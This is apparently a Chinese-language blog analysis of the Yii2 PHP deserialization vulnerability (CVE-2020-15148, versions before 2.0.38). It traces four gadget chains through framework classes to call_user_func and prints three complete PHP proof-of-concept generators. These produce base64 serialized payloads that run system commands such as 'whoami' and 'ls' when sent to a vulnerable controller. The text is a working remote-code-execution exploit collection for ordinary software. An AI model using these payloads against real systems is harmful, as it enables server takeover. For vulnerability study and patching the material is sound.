yii2反序列化漏洞分析
影響范圍
Yii2 <2.0.38
環境安裝
composer安裝比較繁瑣https://www.jianshu.com/p/62439169bab9
漏洞分析
首先漏洞出發點在BatchQueryResults.php中,起始點一般都是能夠自動調用的函數中
也就是__destruct()方法
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
會自動調用reset()方法

並且這里$this->dataReader可控,可以調用不存在close()方法並且存在__call()方法的類,就是找一個跳板

諾 全局搜索__call()方法
找到Generator.php中的__call方法,其中調用了format函數
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

這里又調用了getFormatter()函數,我們知道第二個參數是不可控的,而這個函數的返回值可控
會返回$this->formatters[$formatter],然后就有了兩個思路
先說一下call_user_func_arary()的用法
class S{
public function __construct(){
}
public static function say1($word){
echo $word;
}
public function say($word){
echo $word; } }
/*使用方式一:無需實例化調用類的靜態方法*/ call_user_func_array(array('S','say1'),array('Hello PHP'));
/*使用方式二:不實例化調用類的非靜態方法*/ call_user_func_array(array('S','say2'),array('Hello PHP'));
``
直接調用方法或者是對象中的方法。
但是這里第二個參數我們控制不了值也是空
所以只能考慮調用一個無參的方法,但是大佬調用的是call_user_func()方法,絕
然后找到某個類中的方法中調用了這個方法且參數可控的地方,rce就成了
function \w+\(\) ?\n?\{(.*\n)+call_user_func正則搜索
/rest/indexAction.php中

其中這兩個參數可控,直接RCE,也就到了我們的終點,雖然中間跳板找的有點難受
## poc1
```php
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
這里需要另外創建一個控制器

運行poc訪問控制器傳入參數實現RCE

利用鏈2
BatchQueryResult類修復之后無法實例化了,就要找一個新的起點
利用鏈的起點advanced\vender\Codeception\Extension\RunProcess
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
同樣還是找__destruct()方法調用了stopProcess()函數,因為這里的$this->processes可控,后半段的利用鏈和第一個就一樣了
利用鏈3
看到這個類lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
....
}
}
然后調用的函數中的所有參數是我們可控的,然后繼續跟進clearKey方法
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}
這里$this->path是我們可控的,凡是涉及到字符串操作並且參數可控的都應該能想到__tostring當跳板
然后就找到see.php中存在__tostring()方法
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}
這里$this->description又是我們可控的,也就是說能夠繼續調用__call()方法實現反序列化
- poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 這里需要改為isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
利用鏈4
起點還是一樣,與上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我們可控的,我們只需要找到一個類中存在close()方法並且這個方法存在危險函數或是又可以延展調用鏈的就歐克
找到advanced\vendor\yiisoft\yii2\web\DbSession.php這個類中的close()方法
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
會調用advanced\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因為是繼承此類的,看到這個方法
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
順帶一提這兩個函數的區別:
- 如果傳遞一個數組給 call_user_func_array(),數組的每個元素的值都會當做一個參數傳遞給回調函數,數組的 key 回調掉。
- 如果傳遞一個數組給 call_user_func(),整個數組會當做一個參數傳遞給回調函數,數字的 key 還會保留住。
這里要利用call_user_func()函數能夠將實例化對象作為數組傳遞給函數,也就是說這里因為我們可控$this->writeCallback,然后賦值[new \yii\rest\IndexAction($func, $param), "run"];
就可以調用之前我們所找到的終點--run()方法,再進行RCE
- poc
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('system', 'whoami');
echo(base64_encode(serialize($exp)));
}
參考
https://juejin.im/post/6874149010832097294
Yii2 反序列化(CVE-2020-15148)分析
